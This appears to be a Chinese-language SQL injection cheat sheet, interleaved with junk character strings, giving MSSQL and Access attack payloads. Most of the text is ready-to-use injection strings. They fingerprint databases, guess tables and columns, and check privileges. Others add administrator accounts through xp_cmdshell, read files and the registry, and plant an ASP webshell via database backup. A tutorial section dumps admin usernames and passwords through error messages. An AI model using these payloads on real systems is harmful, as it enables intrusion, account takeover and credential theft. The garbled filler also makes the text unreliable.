1.判断是否有注入 8 H" Q7 m% B& n) @3 p: `/ a6 N
;and 1=1
+ `. y+ U5 {7 ^/ P2 Z;and 1=2 9 X: e+ L' n. d7 }4 E
* { o; j; |" r2 U2.初步判断是否是mssql 1 Q/ ^5 _) ?# S2 f' c+ ^8 n; o
;and user>0
6 W7 ?- n: g1 R N6 ^+ _, V+ T4 f3 ^9 e% l( q* K: F
3.判断数据库系统
6 l3 d. m/ j& ?$ e( z M8 O k;and (select count(*) from sysobjects)>0 mssql 4 i/ B/ T3 H+ b. X) e
;and (select count(*) from msysobjects)>0 access
7 J6 k* c2 ~! M2 d2 x/ x
2 s" Y. k! |. F3 O# d: ^$ Q4 [4.注入参数是字符
! b- n7 C" A( F& Y V'and [查询条件] and ''='
9 ~, w& A ?7 M# m8 J& m3 r. c# |+ I- `2 u4 {+ ~
5.搜索时没过滤参数的
! j# Q& ^9 Z4 u" i$ t: X'and [查询条件] and '%25'='
- j" R- A2 R" l
* C+ y' o% l: t+ o6.猜数表名 ; d: |, ?1 H1 ~% F i: ^
;and (select Count(*) from [表名])>0 3 }- t/ w8 [: K- y
3 i! B' {7 s; F, i
7.猜字段 " e- m3 ?) o* W. m. X/ B" H" _
;and (select Count(字段名) from 表名)>0
1 ^4 O) L8 V% L2 X* `* j/ t
/ K# \3 h. w& e# `2 w$ c8.猜字段中记录长度 * X1 F8 I/ V) y0 w6 a
;and (select top 1 len(字段名) from 表名)>0 , f! R4 m6 s! j0 X6 U$ n) g/ J! r- W! q
5 ?0 f+ ~9 A' v- ^, z1 Q: I3 I. Q
9.(1)猜字段的ascii值(access) " W: Z8 C! F+ i& B. U9 c# ~
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
- D2 ~- h# N( A3 l* a. m" t
% @+ W9 V& ]" k, M(2)猜字段的ascii值(mssql)
% L( m% H. p1 { E;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
( u6 S+ x" w4 e6 x" E7 {
6 b) X* i8 }% d. J% _; L, u10.测试权限结构(mssql) : j7 L1 s# M2 e R3 B9 A/ T( F7 E6 x
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9 ] B4 G; K' r+ _2 u
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- % B ^2 Q/ k& e& e2 U& w
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7 X6 n: b/ G( ~' [
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- / }+ n& m/ y% G$ J' X0 O' f6 s; g
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ! k: K! {& m i4 }) y# e
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 4 G7 J/ n4 c0 `+ ?8 M, k- |
;and 1=(select IS_MEMBER('db_owner'));--
$ a' k0 B# U. h, f" ^5 W, d" v+ d, b6 T, l/ r2 K% V; H: c% J2 P2 T0 v
11.添加mssql和系统的帐户
- m" _$ o0 ^7 Y* }+ k;exec master.dbo.sp_addlogin username;--
; s2 k3 E: A4 J% B& W;exec master.dbo.sp_password null,username,password;-- % v" |* j8 o) S9 b
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
; ^9 g$ Z! O1 ?. B9 ?;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
/ V; x7 F1 L3 b I& O) k" u# \" s;exec master.dbo.xp_cmdshell 'net user username password /add';--
6 r( _, f/ V0 W% ?5 [; _: C4 A8 S;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
0 o$ `( i# s5 z% G. N. A3 c
1 q8 j/ B5 S/ ?6 |# x8 I4 E3 n/ y12.(1)遍历目录
& N6 x+ W* R, e2 y;create table dirs(paths varchar(100), id int) 3 L/ p; _0 V3 L, N7 x/ i2 E
;insert dirs exec master.dbo.xp_dirtree 'c:\'
s( a6 d2 G g6 Q d+ N, f3 e- `1 `;and (select top 1 paths from dirs)>0
2 N% g2 J' h, H;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) / O! Y6 v; C6 |4 {; h/ V6 H
) e: L7 U4 G* S* p
(2)遍历目录 * |* b& D$ }& L9 a2 ^$ j# q
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
3 p9 l( y- m x" L! U( A5 v# g3 o( p;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
6 l5 S* b ]5 Z; B) E;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
/ k) A& ^" ]. B! g;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ' Y% y9 k% A5 y- n: X3 i
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 % G& M8 W4 E* C( t) L. w9 n6 Z
' r5 z' L* i u2 J6 S* o7 |13.mssql中的存储过程 + u* c" X! u' {! {. O
xp_regenumvalues 注册表根键, 子键
7 |! l7 Q- F; f# ^) P5 x0 ^;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
5 ~/ q3 ~1 P2 [xp_regread 根键,子键,键值名
0 d- r0 a$ c$ A3 }( ?. p8 |- N `;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
1 C& N- J7 V. [+ Z5 Qxp_regwrite 根键,子键, 值名, 值类型, 值 % r9 X8 k( Y' d7 V
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
/ }1 D2 i* ^) j h. f6 X% O;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 2 i G4 D7 f' W# k( u/ P3 \1 d- c
xp_regdeletevalue 根键,子键,值名 " r. \0 W+ N6 Q
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
! o! {* f& E; k2 V3 P- F& Y+ _xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 : T l' X0 Y& J- Q3 x: s6 [- D
( X J' B# C3 j6 S5 I$ ~
14.mssql的backup创建webshell
: ~& p, H8 Q% F0 y" c6 ^. S! ruse model : f' u5 D* y, Z
create table cmd(str image); 2 n) q7 ]6 \' I: d7 b
insert into cmd(str) values ('<% Dim oScript %>');
# _7 k: g9 J* X5 Wbackup database model to disk='c:\l.asp'; 3 U. ?+ Y; B4 w# U$ T2 ^1 i
# `6 `/ g+ b1 @7 T15.mssql内置函数 3 K6 I' o# X. L( M& A5 p' P7 n
;and (select @@version)>0 获得Windows的版本号 , c7 A4 e, T T6 x% Q- o0 u" V
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 7 F7 Z" y, g. ~3 R
;and (select user_name())>0 爆当前系统的连接用户
; @5 I' a/ }# p9 i1 N6 k;and (select db_name())>0 得到当前连接的数据库 : s8 t0 Z: I& E/ e: |+ ~7 T
* v h) x2 |1 R: G/ q
3 z8 ?0 ], L- w4 d' c5 x
7 p/ x' |# w4 n6 F, S) B' o* ^$ TMSSQL手注暴库1 h* q' @+ ]3 g9 ]; p/ B
6 ]8 j+ C- n# e* r
1.暴出当前表名和列名
# v% x9 N8 y% I6 y在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
+ n+ {" c: b5 u: w8 ?/ |6 {" F2 f$ g' i/ [! }( W# g" e( J& ?1 m0 k8 n
第一.爆出所有数据库名
0 T1 p7 C! c. D8 k5 g; C利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。5 |) ^5 L& ^. X9 ^: j) w( m
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。# Y# V. D% X, k' J c! t, ?
: s" A; y% y9 u) c
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名8 X" t! g$ R. _6 `/ F
# S, v1 Q9 r# j) F0 N. {; t
) l. o; e9 w- c, k/ [
第二.爆出指定库中的所有表名
: F: N! o0 R/ b$ N' t6 r得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
( v: [) N9 n7 M3 T g6 m4 V再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
8 d- H7 `& c0 k6 R! V5 y& j1 F7 @% i, r a6 z' \( F
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--# V8 e# Q8 L8 K
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--, P* J& D. ?' x; T1 b7 _
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
% j1 ~+ X/ @' E$ d: L! o" p6 V' T& @; z. s! g( D
4.爆出指定表中的所有列名% F- K8 T; B0 B' z2 C4 d& R! l
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) + M* N9 z; ?! o4 C% P {
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'- H6 d" e8 U8 i0 B+ f% T
) _: I4 T! p4 E4 j0 ~' K1 V% ~and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
# ~ I' y' S7 ~& \+ w/ e
; _* u7 L; m! s1 @再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
4 \; `, c, x6 ]3 P+ u依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
: ~, c+ v8 m( b; ^
& \: ~. y: F6 O2 u4 V4 l" W1 |$ Q+ \, R# ]! P; x. d" O. |
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
# f# v( @/ p4 k8 b& G( t7 S" f9 r r; w- ~; x, q5 n* C
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
/ P6 o* D! N; E4 S: ^( e1 c+ v) F5 R- A: m6 I, z3 ~" ^( \# R
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ( Y) t2 |0 G- H
5 k `+ Y$ e6 S( ?3 ~5 P8 L# ~3 ~# S* k; s6 O) r) {. Z
# `% }2 U" \8 O' V, J5.读取指定表中的数据
, x' U6 H; u6 Z8 r7 ?- R6 X! k( _# L
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 9 X2 ?$ Z& C1 a: u7 l$ }
! f1 T2 t7 y5 }0 v% K3 g8 n' ^
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--* W2 O# B+ I& j2 I7 B
( T8 s- P5 \+ I% L n3 ?$ Cand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
. l! T E* R+ ^3 x. C( w3 L" X' y* _: w: i+ ^0 i2 o
7 r3 m$ C6 y9 U& X: l9 g% S
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
: U% u1 m z0 y2 X0 ]; ]- }' v* N c; s
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
( i- ~+ n# ^. v+ s
5 Q5 A; o+ w! o# x& sand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--7 [" c J( v& N
7 p0 `. K+ H x4 S% b% ?! x1 @7 t知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
9 J6 k4 }" H8 G6 i% e9 ` |